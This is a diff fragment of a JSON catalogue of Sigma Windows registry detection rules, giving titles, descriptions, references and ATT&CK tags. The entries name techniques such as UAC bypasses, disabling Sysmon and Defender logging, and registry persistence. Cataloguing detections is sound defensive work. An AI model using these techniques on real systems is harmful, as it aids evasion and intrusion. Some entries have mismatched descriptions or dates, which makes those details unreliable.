Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_internet_explorer.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "baecf8fb-edbf-429f-9ade-31fc3f22b970", + "value": "Office Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_office.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "046218bd-e0d8-4113-a3c3-895a12b2b298", + "value": "Session Manager Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001", + "attack.t1546.009" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_session_manager.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "e7a2fd40-3ae1-4a85-bf80-15cf624fb1b1", + "value": "System Scripts Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_system_scripts.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "d6c2ce7e-afb5-4337-9ca4-4b5254ed0565", + "value": "WinSock2 Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_winsock2.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "b29aed60-ebd1-442b-9cb5-16a1d0324adb", + "value": "Wow6432Node CurrentVersion Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_wow6432node.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "18f2065c-d36c-464a-a748-bcf909acb2e3", + "value": "Wow6432Node Classes Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_wow6432node_classes.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "480421f9-417f-4d3b-9552-fd2728443ec8", + "value": "Wow6432Node CurrentVersion Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption", + "uuid": "83314318-052a-4c90-a1ad-660ece38d276", + "value": "Blackbyte Ransomware Registry", + "meta": { + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/01/24", + "filename": "registry_set_blackbyte_ransomware.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Bypasses User Account Control using a fileless method", + "uuid": "46dd5308-4572-4d12-aa43-8938f0184d4f", + "value": "Bypass UAC Using DelegateExecute", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", + "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2022/01/05", + "filename": "registry_set_bypass_uac_using_delegateexecute.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification", + "uuid": "674202d0-b22a-4af4-ae5f-2eda1f3da1af", + "value": "Bypass UAC Using Event Viewer", + "meta": { + "refs": [ + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.010" + ], + "creation_date": "2022/01/05", + "filename": "registry_set_bypass_uac_using_eventviewer.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "There is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC", + "uuid": "724ea201-6514-4f38-9739-e5973c34f49a", + "value": "Bypass UAC Using SilentCleanup Task", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task", + "https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2022/01/06", + "filename": "registry_set_bypass_uac_using_silentcleanup_task.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Remote desktop is a common feature in operating systems.\nIt allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.\nMicrosoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n", + "uuid": "509e84b9-a71a-40e0-834f-05470369bd1e", + "value": "Changing RDP Port to Non Standard Number", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1---rdp-to-domaincontroller", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_rdp_port.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.010" + ], + "creation_date": "2022/01/01", + "filename": "registry_set_change_rdp_port.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Hides the file extension through modification of the registry", + "uuid": "45e112d0-7759-4c2a-aa36-9f8fb79d3393", + "value": "IE Change Domain Zone", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone", + "https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ], + "creation_date": "2022/01/22", + "filename": "registry_set_change_security_zones.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes in Sysmon driver altitude. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.", + "uuid": "4916a35e-bfc4-47d0-8e25-a003d7067061", + "value": "Disable Sysmon Event Logging Via Registry", + "meta": { + "refs": [ + "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650", + "https://youtu.be/zSihR3lTf7g", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/07/28", + "filename": "registry_set_change_sysmon_driver_altitude.yml", + "author": "B.Talebi", + "level": "high", + "falsepositive": [ + "Legitimate driver altitude change to hide sysmon" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering with the \"ChannelAccess\" registry key in order to change access to windows event channel", + "uuid": "7d9263bd-dc47-4a58-bc92-5474abab390c", + "value": "Change Winevt Event Access Permission Via Registry", + "meta": { + "refs": [ + "https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/", + "https://learn.microsoft.com/en-us/windows/win32/api/winevt/", + "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/09/17", + "filename": "registry_set_change_winevt_channelaccess.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker modifies the registry key \"HtmlHelp Author\" to achieve persistence", + "uuid": "976dd1f2-a484-45ec-aa1d-0e87e882262b", + "value": "CHM Helper DLL Persistence", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/htmlhelpauthor.html", + "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chm_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_chm_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Running Chrome VPN Extensions via the Registry install 2 vpn extension", + "uuid": "b64a026b-8deb-4c1d-92fd-98893209dff1", + "value": "Running Chrome VPN Extensions via the Registry 2 VPN Extension", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1133/T1133.md#atomic-test-1---running-chrome-vpn-extensions-via-the-registry-2-vpn-extension", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chrome_extension.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1133" + ], + "creation_date": "2021/12/28", + "filename": "registry_set_chrome_extension.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.\nWe can also catch this by system log 7045 (https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_cobaltstrike_service_installs.yml)\nIn some SIEM you can catch those events also in HKLM\\System\\ControlSet001\\Services or HKLM\\System\\ControlSet002\\Services, however, this rule is based on a regular sysmon's events.\n", + "uuid": "61a7697c-cb79-42a8-a2ff-5f0cdfae0130", + "value": "CobaltStrike Service Installations in Registry", + "meta": { + "refs": [ + "https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cobaltstrike_service_installs.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2021/06/29", + "filename": "registry_set_cobaltstrike_service_installs.yml", + "author": "Wojciech Lesicki", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes to 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command\\DelegateExecute'", + "uuid": "07743f65-7ec9-404a-a519-913db7118a8d", + "value": "COM Hijack via Sdclt", + "meta": { + "refs": [ + "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", + "https://www.exploit-db.com/exploits/47696", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546", + "attack.t1548" + ], + "creation_date": "2020/09/27", + "filename": "registry_set_comhijack_sdclt.yml", + "author": "Omkar Gudhate", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects disabling the CrashDump per registry (as used by HermeticWiper)", + "uuid": "2ff692c2-4594-41ec-8fcb-46587de769e0", + "value": "CrashControl CrashDump Disabled", + "meta": { + "refs": [ + "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_crashdump_disabled.yml" + ], + "tags": [ + "attack.t1564", + "attack.t1112" + ], + "creation_date": "2022/02/24", + "filename": "registry_set_crashdump_disabled.yml", + "author": "Tobias Michalski", + "level": "medium", + "falsepositive": [ + "Legitimate disabling of crashdumps" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect the creation of a service with a service binary located in a suspicious directory", + "uuid": "a07f0359-4c90-4dc4-a681-8ffea40b4f47", + "value": "Service Binary in Suspicious Folder", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/05/02", + "filename": "registry_set_creation_service_susp_folder.yml", + "author": "Florian Roth, frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect the creation of a service with a service binary located in a uncommon directory", + "uuid": "277dc340-0540-42e7-8efb-5ff460045e07", + "value": "Service Binary in Uncommon Folder", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_uncommon_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/05/02", + "filename": "registry_set_creation_service_uncommon_folder.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the abuse of custom file open handler, executing powershell", + "uuid": "7530b96f-ad8e-431d-a04d-ac85cc461fdc", + "value": "Custom File Open Handler Executes PowerShell", + "meta": { + "refs": [ + "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/?cmp=30728", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_custom_file_open_handler_powershell_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/06/11", + "filename": "registry_set_custom_file_open_handler_powershell_execution.yml", + "author": "CD_R0M_", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects a new and suspicious printer port creation in Registry that could be an attempt to exploit CVE-2020-1048", + "uuid": "7ec912f2-5175-4868-b811-ec13ad0f8567", + "value": "Suspicious New Printer Ports in Registry (CVE-2020-1048)", + "meta": { + "refs": [ + "https://windows-internals.com/printdemon-cve-2020-1048/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2020_1048_new_printer_port.yml" + ], + "tags": [ + "attack.persistence", + "attack.execution", + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/05/13", + "filename": "registry_set_cve_2020_1048_new_printer_port.yml", + "author": "EagleEye Team, Florian Roth, NVISO", + "level": "high", + "falsepositive": [ + "New printer port install on host" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", + "uuid": "32b5db62-cb5f-4266-9639-0fa48376ac00", + "value": "CVE-2021-31979 CVE-2021-33771 Exploits", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", + "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2021_31979_cve_2021_33771_exploits.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1566", + "attack.t1203", + "cve.2021.33771", + "cve.2021.31979" + ], + "creation_date": "2021/07/16", + "filename": "registry_set_cve_2021_31979_cve_2021_33771_exploits.yml", + "author": "Sittikorn S, frack113", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.", + "uuid": "2d9403d5-7927-46b7-8216-37ab7c9ec5e3", + "value": "Suspicious Set Value of MSDT in Registry (CVE-2022-30190)", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190", + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2022_30190_msdt_follina.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1221" + ], + "creation_date": "2020/05/31", + "filename": "registry_set_cve_2022_30190_msdt_follina.yml", + "author": "Sittikorn S", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker adds a new \"Debugger\" value to the \"DbgManagedDebugger\" key in order to achieve persistence which will get invoked when an application crashes", + "uuid": "9827ae57-3802-418f-994b-d5ecf5cd974b", + "value": "Add Debugger Entry To DbgManagedDebugger For Persistence", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", + "https://github.com/last-byte/PersistenceSniper", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574" + ], + "creation_date": "2022/08/07", + "filename": "registry_set_dbgmanageddebugger_persistence.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Setting of Windows Defender Exclusions", + "uuid": "a982fc9c-6333-4ffb-a51d-addb04e8b529", + "value": "Windows Defender Exclusions Added", + "meta": { + "refs": [ + "https://twitter.com/_nullbind/status/1204923340810543109", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/06", + "filename": "registry_set_defender_exclusions.yml", + "author": "Christian Burkard", + "level": "medium", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)", + "uuid": "9d3436ef-9476-4c43-acca-90ce06bdf33a", + "value": "DHCP Callout DLL Installation", + "meta": { + "refs": [ + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1112" + ], + "creation_date": "2017/05/15", + "filename": "registry_set_dhcp_calloutdll.yml", + "author": "Dimitrios Slamaris", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects disabling Windows Defender Exploit Guard Network Protection", + "uuid": "bf9e1387-b040-4393-9851-1598f8ecfae9", + "value": "Disable Exploit Guard Network Protection on Windows Defender", + "meta": { + "refs": [ + "https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/08/04", + "filename": "registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections", + "uuid": "fcddca7c-b9c0-4ddf-98da-e1e2d18b0157", + "value": "Disabled Windows Defender Eventlog", + "meta": { + "refs": [ + "https://twitter.com/WhichbufferArda/status/1543900539280293889/photo/2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_microsoft_defender_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/07/04", + "filename": "registry_set_disabled_microsoft_defender_eventlog.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other Antivirus software installations could cause Windows to disable that eventlog (unknown)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects disabling Windows Defender PUA protection", + "uuid": "8ffc5407-52e3-478f-9596-0a7371eafe13", + "value": "Disable PUA 